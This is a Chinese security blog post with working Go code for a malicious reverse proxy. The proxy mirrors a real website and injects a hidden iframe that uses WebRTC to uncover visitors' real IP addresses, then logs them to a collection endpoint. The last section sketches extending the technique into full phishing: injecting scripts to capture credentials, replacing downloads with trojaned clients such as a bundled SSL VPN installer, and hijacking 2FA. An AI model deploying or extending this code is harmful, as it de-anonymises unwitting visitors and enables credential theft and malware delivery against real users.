0x01 背景说明

在某次项目中,由于获取到了非法网站的后台账号密码,但是没有后台管理人员的真实IP,导致项目无法进行下去,于是有了这篇文章,突破该点可以利用以下方式:

由于笔者当前使用golang比较多,就想到了可以使用golang的反代技术实现该项目是需求。那么分析下我们需要实现的几个小目标:
1、可以简单的进行反向代理
2、可以通过webrtc获取到代理后的真实IP

ps: 本文不对webrtc在不同浏览器、不同环境下无法利用的问题进行讨论。

0x02 代码实现

在golang中,可以很简单的去反向代理一个网站,因为golang中自带了一个NewSingleHostReverseProxy的方法,简单的实现代码如下:

package main

import (
    "log"
    "fmt"
    "net/http"
    "net/http/httputil"
    "net/url"
)

func main() {
    target, err := url.Parse("https://www.javaweb.org.cn")
    if err != nil {
        fmt.Println("err:", err)
        return
    }
    fmt.Printf("反向代理站点 -> %s \n", target)

    proxy := httputil.NewSingleHostReverseProxy(target)

    d := proxy.Director
    proxy.Director = func(r *http.Request) {
        d(r)                 // 调用默认的director
        r.Host = target.Host // 设置反向代理中request的host头信息
    }

    log.Fatal(http.ListenAndServe(":8888", proxy))
}

运行上面代码后,访问http://127.0.0.1:8888,就可以看到被代理的网站内容

可以看到很简单的就完成的反代这一小目标,当然我们不仅仅满足于当前结果,我们的目标还有要获取到真实IP,关于如何获取到代理后的真实IP,可以了解下webrtc技术,本文不科普webrtc技术如何获取到真实IP的原理,有兴趣的小伙伴可以到
https://github.com/diafygi/webrtc-ips进行查看。

在已经有反向代理的前提下,那么要完成webrtc获取ip的模板,其实主要就是要修改反代后的网站源码,使其嵌入一个iframe,这样就可以神不知鬼不觉的达到欺骗+获取代理后真实IP的需求。
具体实现的核心代码如下:

/*
Copyright © 2020 iiusky [email protected]

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package core

import (
    "fmt"
    "github.com/gin-gonic/gin"
    "github.com/jxskiss/ginregex"
    "os"
    "sync"
    "time"
    "webrtc/asset"
)

// Web服务
func WebServer() {
    r := gin.Default()
    w = new(sync.WaitGroup)
    webRtcLogPath := "webrtc.log"
    webLogPath := "access.log"

    if !DisableRandomLogName {
        webRtcLogPath = fmt.Sprintf("%s-%s", randStringRunes(6), webRtcLogPath)
        webLogPath = fmt.Sprintf("%s-%s", randStringRunes(6), webLogPath)
    }

    initWebDomain()
    initTarget()

    webRtcLogFile, err := os.OpenFile(webRtcLogPath, os.O_WRONLY|os.O_CREATE, 0666)
    if err != nil {
        fmt.Println("webRtcLogFile 文件打开失败", err)
        os.Exit(-1)
    }

    file, _ := os.Create(webLogPath)
    c := gin.LoggerConfig{
        Output:    file,
        SkipPaths: []string{""},
        Formatter: func(params gin.LogFormatterParams) string {
            return fmt.Sprintf("%s - [%s] \"%s %s %s %d %s \"%s\" %s\"\n",
                params.ClientIP,
                params.TimeStamp.Format(time.RFC1123),
                params.Method,
                params.Path,
                params.Request.Proto,
                params.StatusCode,
                params.Latency,
                params.Request.UserAgent(),
                params.ErrorMessage,
            )
        },
    }

    r.Use(gin.LoggerWithConfig(c))

    r.POST("/test.json", func(c *gin.Context) {
        ip := c.PostForm("ips")
        fmt.Printf("time: %s  ---- ip: %s", time.Now().String(), ip)
        w.Add(1)
        WriteToFile(ip, webRtcLogFile, w)
        c.JSON(200, "hi~")
    })

    r.GET(fmt.Sprintf("/%s", WebRtcPath), func(c *gin.Context) {
        c.Writer.WriteHeader(200)
        indexHtml, _ := asset.Asset("static/index.html")
        _, _ = c.Writer.Write(indexHtml)
        c.Writer.Header().Add("Accept", "text/html")
        c.Writer.Flush()
    })

    regexRouter := ginregex.New(r, nil)
    regexRouter.Any("^/.*$", handleReverseProxy)

    r.Run(fmt.Sprintf("0.0.0.0:%d", WebPort))
}
/*
Copyright © 2020 iiusky [email protected]

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/

package core

import (
    "bytes"
    "fmt"
    "github.com/gin-gonic/gin"
    "io/ioutil"
    "net/http"
    "net/http/httputil"
    "strconv"
    "strings"
    "time"
)

// response修改
func ModifyResponse(resp *http.Response) error {
    var respBodyByte []byte

    if resp.Header.Get("Location") != "" {
        resp.Header.Set("Location", strings.ReplaceAll(resp.Header.Get("Location"),
            fmt.Sprintf("%s://%s", scheme, host), WebDomain))
    }

    respBodyByte, err := ioutil.ReadAll(resp.Body)
    if err != nil {
        return err
    }

    err = resp.Body.Close()

    if err != nil {
        return err
    }

    if resp.Header.Get("Content-Encoding") == "gzip" {
        resp.Header.Del("Content-Encoding")
        respBodyByte = unGzip(respBodyByte)
    }

    // 实时打印代理情况
    fmt.Println(time.Now().String(), resp.Request.Method, resp.Request.URL.String())

    respBodyByte = bytes.Replace(respBodyByte, []byte("<body"), []byte(fmt.Sprintf(iframeContent, WebDomain, WebRtcPath)), -1)

    respbody := ioutil.NopCloser(bytes.NewReader(respBodyByte))
    resp.Body = respbody
    resp.ContentLength = int64(len(respBodyByte))
    resp.Header.Set("Content-Length", strconv.Itoa(len(respBodyByte)))

    return nil
}

// 反向代理
func handleReverseProxy(ctx *gin.Context) {

    director := func(req *http.Request) {
        req.URL.Scheme = scheme
        req.URL.Host = host
        req.Host = host
    }
    proxy := &httputil.ReverseProxy{Director: director}
    proxy.ModifyResponse = ModifyResponse
    proxy.ServeHTTP(ctx.Writer, ctx.Request)
}

主要的核心就是使用对proxy.ModifyResponse的值改为我们自定义的方法ModifyResponse,在ModifyResponse中对response进行解析和修改,我们要实现当前项目的需求,最简单有效的办法就是替换所有<body该字符串为我们自定义的字符串,替换为

<body><iframe name='hideFrame' style="display:none;" src="%s/%s"></iframe></body><body

这样反代的网站是有两个body,但是不会影响布局以及展示内容,且将iframe进行隐藏不显示,让其在背后偷偷的访问。
最终效果如下图所示:

可以看到在第一个body中插入了我们的iframe,但是整个网页状态以及使用都是正常没有问题的。

同时二进制目录下会生成两个log文件,一个为访问日志,一个webrtc日志。

在访问后可以看webrtc.log日志文件,该日志内容中会将webrtc获取到的ip打印出来。

至此,我们的两个小目标都完成了。

0x03 抛砖引玉

我们可以思考下,既然可以修改返回包,那么是否是仅限于对于获取真实IP这样一种场景呢?答案肯定是否定的,在当前的钓鱼网站中,大家很多都是一个html+一个exe马,诱导下载执行,又或者是带表单提交的一个动态网站页面,诱导其输入账号密码。

为什么我们不能直接反向代理他真正的网站,通过注入js、修改html源码,来达到截取表单信息、替换二进制文件等过程呢?以在可以反向代理+修改response包的情况下,最高效好用的就是,这个钓鱼网站就是真的,我们对真正存在的网站进行反向代理,整个系统所有所有的功能都可以正常运行,从而让受害者神不知鬼不觉的进入圈套。比如下图这种逻辑:

在研究这个方向的过程中,发现某信服sslvpn新版本打开后会强制要求下载sslvpn客户端,这样的话我们一个诱导性极强的域名+绑马的sslvpn客户端即可。对于其他的一些思路,大家可以在多想想看,比如是否可以绕过2fa认证?是否可以劫持2fa认证等方面的场景。

又或者,当做蜜罐,通过注入带有jsonp的脚本,可以直接获取到相关访问者的网络ID等信息,并且控制器在访问敏感路径或文件的时候直接返回404阻断其获取敏感信息。

0x04 相关源码

最后修改:2021 年 11 月 29 日
如果觉得我的文章对你有用,请随意赞赏